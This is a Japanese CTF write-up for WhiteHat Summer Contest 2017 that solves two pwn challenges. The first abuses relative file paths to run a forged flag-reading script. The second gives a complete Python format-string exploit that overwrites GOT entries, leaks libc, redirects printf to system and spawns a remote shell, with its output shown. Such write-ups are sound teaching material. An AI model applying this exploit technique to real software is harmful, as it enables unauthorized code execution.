WhiteHat Summer Contest 2017 Writeup
shpxで参加してました。 結果はpwnを2問解いて76位。
Writeup
Da Lat city (Pwnable 100)
ELF 32-bit、動的リンク、canaryとNX有効。
% file cheatme cheatme: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bacaba723fdbcbf8b2d685afb00795a2e6bedf78, stripped % gdb -q cheatme Reading symbols from cheatme...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
初めにuser名が聞かれる。これはuser.txtから取ってきた文字列と比較しているだけなので(ローカルでは)簡単に抜けられる。
% echo "hoge" > user.txt % ./cheatme foo _ _ _ _ _ _ /\ | | | | | | (_) | | | | / \ _ _| |_| |__ ___ _ __ | |_ _ ___ __ _| |_ ___ __| | / /\ \| | | | __| '_ \ / _ | '_ \| __| |/ __/ _` | __/ _ \/ _` | / ____ | |_| | |_| | | | __| | | | |_| | (_| (_| | || __| (_| | /_/ \_\__,_|\__|_| |_|\___|_| |_|\__|_|\___\__,_|\__\___|\__,_| | Enter user : hoge ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Enter Password :
パスワードはgdbで見ていくとContestChallenge-
で始まり5文字からなる数値で終わる文字列であるとわかる。最終的には入力のハッシュのようなものを計算して0~15のどれかの数値にしてから8と比較している。なので数値を適当に試せば16分の1の確率でパスワードも突破できる(ここはリモートでも同じ)。パスワードが認証されると./get_flag.pyが実行される。
問題はサーバ上のuser.txtが見れないためuser名がわからないところだが、ファイルの読み込みはすべて相対パスで行われているので自分でuser.txtなどを作っても正常に動かすことができる。
cheatme@pwnssh14-01-contest13:~$ mkdir -p /tmp/hoge/problem/login cheatme@pwnssh14-01-contest13:~$ cd /tmp/hoge/problem/login/ cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ echo "hoge" > user.txt cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ ln -s /home/cheatme/problem/login/get_flag.py get_flag.py cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ /home/cheatme/problem/login/cheatme | Enter user : hoge ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Enter Password : ContestChallenge-12296 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | You can read file flag.txt??? | Loading File: ... Goodluck!!!. Don't give up! oooo$$$$$$$$$$$$oooo oo$$$$$$$$$$$$$$$$$$$$$$$$o oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$ o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$ oo $ $ "$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$ "$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ "'"$$$ "$$$"'""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "$$$ $$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ "$$$o o$$" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$" "$$$$$$ooooo$$$$o o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ o$$$$$$$$$$$$$$$$$ $$$$$$$$"$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$""'""'"" "'"" $$$$ "$$$$$$$$$$$$$$$$$$$$$$$$$$$$" o$$$ "$$$o "'"$$$$$$$$$$$$$$$$$$"$$" $$$ $$$o "$$""$$$$$$"'"" o$$$ $$$$o o$$$" "$$$$o o$$$$$$o"$$$$o o$$$$ "$$$$$oo ""$$$$o$$$$$o o$$$$"" ""$$$$$oooo "$$$o$$$$$$$$$"'" ""$$$$$$$oo $$$$$$$$$$ "'"$$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$" "$$$"'"" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
get_flag.pyにシンボリックリンクを貼って実行してみたら馬鹿にされてしまった。しかしget_flag.pyは自分で作ればいい。
#!/usr/bin/env python if __name__ == '__main__': with open("/home/cheatme/problem/login/flag.txt","r") as f: print f.read()
cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ chmod +x get_flag.py cheatme@pwnssh14-01-contest13:/tmp/hoge/problem/login$ /home/cheatme/problem/login/cheatme | Enter user : hoge ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | Enter Password : ContestChallenge-12296 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | You can read file flag.txt??? | Loading File: ...Life is trying things to see if they work. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
よってフラグは
% echo -n "Life is trying things to see if they work." | sha1sum a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e -
WhiteHat{a07efd2a91b4ab10d7ce12a8b6c6902aa4e2246e}
Mui Ne
ELF 32-bit、動的リンク、canaryとNX有効。
% file fomat_me fomat_me: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=bcdcd688ea5cc831304ff1a8b3f8d456c6669f04, not stripped % gdb -q fomat_me Reading symbols from fomat_me...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : ENABLED FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
% ./fomat_me echo aaa aaa % ./fomat_me echo %p (nil)
printfをした後に関数はstack_chk_failしかないが、わざとスタックバッファオーバーフローを起こして__stack_chk_failを呼ばせればいい。
% objdump -d -M intel fomat_me ... 8048585: e8 36 fe ff ff call 80483c0 <printf@plt> 804858a: 83 c4 10 add esp,0x10 804858d: b8 00 00 00 00 mov eax,0x0 8048592: 8b 55 f4 mov edx,DWORD PTR [ebp-0xc] 8048595: 65 33 15 14 00 00 00 xor edx,DWORD PTR gs:0x14 804859c: 74 05 je 80485a3 <main+0x88> 804859e: e8 3d fe ff ff call 80483e0 <__stack_chk_fail@plt> 80485a3: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4] 80485a6: c9 leave 80485a7: 8d 61 fc lea esp,[ecx-0x4] 80485aa: c3 ret ...
1回目のprintfでstack_chk_failをmainの先頭に戻すと同時にlibc_baseをleakして、2回目のprintfでprintfをsystemに書き換え、3回目のprintf(systemになっている)に"/bin/sh"を渡してシェルを起動させる。
下のコードではstack_chk_failを、1回目はmainの先頭、2回目はgetsの直前にしているが、こうしなくてはいけない原因はわからない。(初めからgetsの直前にもってくればよさそうだけどうまくいかなかった)
ローカルではシェルを動かすことができたが、サーバのlibcとバージョンが違ったため、その差を埋めるのがとても時間がかかった。libcのバージョンは、あらかじめprintfなどのアドレスをleakさせておいてから
を使うとわかる(助けていただいたチームメイトに圧倒的感謝!)。
#!/usr/bin/env python from ppapwn import * import sys if __name__ == '__main__': stack_chk_got = 0x804a014 printf_got = 0x804a00c gets_got = 0x804a010 main = 0x804851b main2 = 0x804856c if len(sys.argv) == 1: s = Local(["./fomat_me"]) printf_offset = 0x49020 system_offset = 0x3a940 else: s = Remote("formatme.wargame.whitehat.vn",1337) printf_offset = 0x49670 system_offset = 0x3ada0 payload = "" payload += p32(stack_chk_got) payload += p32(stack_chk_got+2) payload += p32(printf_got) payload += "%" + str(u32(p32(main)[0:2]) - 12) + "x" payload += "%7$hn" payload += "%" + str((u32(p32(main)[2:4]) - u32(p32(main)[0:2])) & 0xffff) + "x" payload += "%8$hn" payload += "leak:%9$s" payload += "A" * 0x50 s.sendline(payload) s.recvuntil("leak:") libc_base = u32(s.recv(4)) - printf_offset print "[*] libc base is at", hex(libc_base) system_addr = libc_base + system_offset payload = "" payload += p32(printf_got) payload += p32(printf_got+2) payload += p32(stack_chk_got) payload += p32(stack_chk_got+2) payload += "%" + str(u32(p32(system_addr)[0:2]) - 16) + "x" payload += "%7$hn" payload += "%" + str((u32(p32(system_addr)[2:4]) - u32(p32(system_addr)[0:2])) & 0xffff) + "x" payload += "%8$hn" payload += "%" + str((u32(p32(main2)[0:2]) - u32(p32(system_addr)[2:4])) & 0xffff) + "x" payload += "%9$hn" payload += "%" + str((u32(p32(main2)[2:4]) - u32(p32(main2)[0:2])) & 0xffff) + "x" payload += "%10$hn" payload += "A" * 0x50 payload += "hoge" s.sendline(payload) s.recvuntil("hoge") s.sendline("/bin/sh") s.interact()
% ./exploit.py remote [*] libc base is at 0xf75c3000 [*] Switching to interactive mode $ ls bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt my_ssh_key my_ssl_key opt proc root run sbin snap srv sys tmp usr var vmlinuz vmlinuz.old $ whoami format_me $ cd /home/format_me $ ls flag format_meb1946ac92492d2347c6235b4d2611184 $ cat flag %n_was_a_good_idea?
よってフラグは
% echo -n "%n_was_a_good_idea?" | sha1sum 196841c60f4408dd151af3ce7f4dc84f9583cc7a -
WhiteHat{196841c60f4408dd151af3ce7f4dc84f9583cc7a}
感想
調べる力の無さを痛感した。